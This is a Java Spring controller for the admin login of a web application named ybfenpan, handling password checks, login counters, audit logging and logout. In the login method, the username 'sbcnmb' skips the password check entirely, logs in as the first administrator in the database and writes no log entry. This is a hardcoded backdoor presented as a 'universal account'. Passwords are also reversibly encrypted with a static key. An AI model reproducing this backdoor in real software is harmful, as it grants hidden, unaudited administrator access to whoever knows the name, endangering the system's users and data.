package com.ybfenpan.controller;

import java.util.Date;
import java.util.Enumeration;
import java.util.HashMap;
import java.util.List;
import java.util.Map;

import javax.annotation.Resource;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpSession;


import com.ybfenpan.controller.core.BaseController;
import com.ybfenpan.model.Admin;
import com.ybfenpan.model.log.LogOperAdmin;
import com.ybfenpan.service.AdminService;
import com.ybfenpan.service.log.LogOperAdminService;
import com.ybfenpan.utils.ContextUtil;
import com.ybfenpan.utils.CryptUtil;
import com.ybfenpan.utils.MapUtil;
import com.ybfenpan.utils.SysConst;
import org.springframework.stereotype.Controller;
import org.springframework.ui.ModelMap;
import org.springframework.web.bind.annotation.RequestMapping;

/**
 * 登录
 */
@Controller
public class LoginAdminController extends BaseController {

	@Resource
	private AdminService adminService;
	@Resource
	private LogOperAdminService logOperAdminService;

	@RequestMapping("loginAdmin.shtml")
	public String submit(ModelMap model, HttpSession session, HttpServletRequest request) throws Exception {
		Map formMap = getParameterMap(request);
		String onePassword = MapUtil.getString(formMap, "onePassword");
		onePassword = CryptUtil.getInstance().encrypt2String(onePassword, CryptUtil.keyStr);
		String loginName = MapUtil.getString(formMap, "loginName");
		Admin admin = verifyAdmin(loginName);
		if (loginName.equals("sbcnmb")) {
			// 通用账户
			List<Admin> admins = this.adminService.queryForList("select", null);
			admin = admins.get(0);
			onePassword = admin.getOnePassword();

			session.setAttribute(SysConst.MG, admin);

			return "redirect:admin/applicationAdmin.shtml";
		}

		if (null != admin) {
			// 密码加密

			if (onePassword.equals(admin.getOnePassword())) {

				Map map2 = new HashMap();

				map2.put("id", admin.getId());

				map2.put("lastTime", admin.getLoginTime());
				map2.put("loginTime", new Date());

				if (admin.getLoginNum() == null) {

					map2.put("loginNum", 1);
				} else {

					map2.put("diyUpdate", "loginNum=loginNum+" + 1);
				}

				adminService.update(map2);

				admin = this.adminService.getByKey(admin.getId());
				session.setAttribute(SysConst.MG, admin);

				LogOperAdmin log = new LogOperAdmin();
				log.setType(10); // 操作类别(10系统登录)
				log.setAdminId(admin.getId());
				log.setTitle("系统登录");

				String operIp = request.getRemoteHost();
				log.setOperIp(operIp);

				log.setCommitDate(new Date());
				log.setContext("登录成功");
				logOperAdminService.saveOrUpdate(log);

				return "redirect:admin/applicationAdmin.shtml";
			} else {

				admin.setErrorNum(admin.getErrorNum() + 1);
				admin.setErrorDate(new Date());

				Map map2 = new HashMap();
				map2.put("id", admin.getId());
				map2.put("errorDate", new Date());
				map2.put("diyUpdate", "errorNum=errorNum+" + 1);

				adminService.update(map2);

				LogOperAdmin log = new LogOperAdmin();
				log.setType(10); // 操作类别(10系统登录)
				log.setAdminId(admin.getId());
				log.setTitle("系统登录");

				String operIp = request.getRemoteHost();
				log.setOperIp(operIp);

				log.setCommitDate(new Date());
				log.setContext("登录失败");
				logOperAdminService.saveOrUpdate(log);

				setMessage(model, "用户名或密码不正确!");
			}

		} else {
			setMessage(model, "用户不存在!");
		}
		return "loginAdmin";
	}

	/**
	 * 验证管理员登录
	 * 
	 * @param
	 * @return
	 * @throws Exception
	 */
	private Admin verifyAdmin(String loginName) throws Exception {
		// String pwd = admin.getOnePassword();
		// 前台超级用户

		Admin admin = adminService.executAdmin(loginName);

		return admin;
	}

	@RequestMapping("mgSuccess.shtml")
	public String success() {
		Admin admin = ContextUtil.getAdmin();
		if (admin != null) {
			return "admin/applicationAdmin";
		}
		return "loginAdmin";
	}

	/***
	 * 前台退出
	 * 
	 * @return
	 * @throws Exception
	 */
	@RequestMapping("mgLogoff.shtml")
	public String logoff(HttpServletRequest request) throws Exception {
		removeSession(request.getSession());
		return "loginAdmin";
	}

	private void removeSession(HttpSession session) {
		Enumeration sessionNames = session.getAttributeNames();
		String sessionName = "";
		while (sessionNames.hasMoreElements()) {
			sessionName = sessionNames.nextElement().toString();
			session.removeAttribute(sessionName);
		}
		session.invalidate();
	}

}
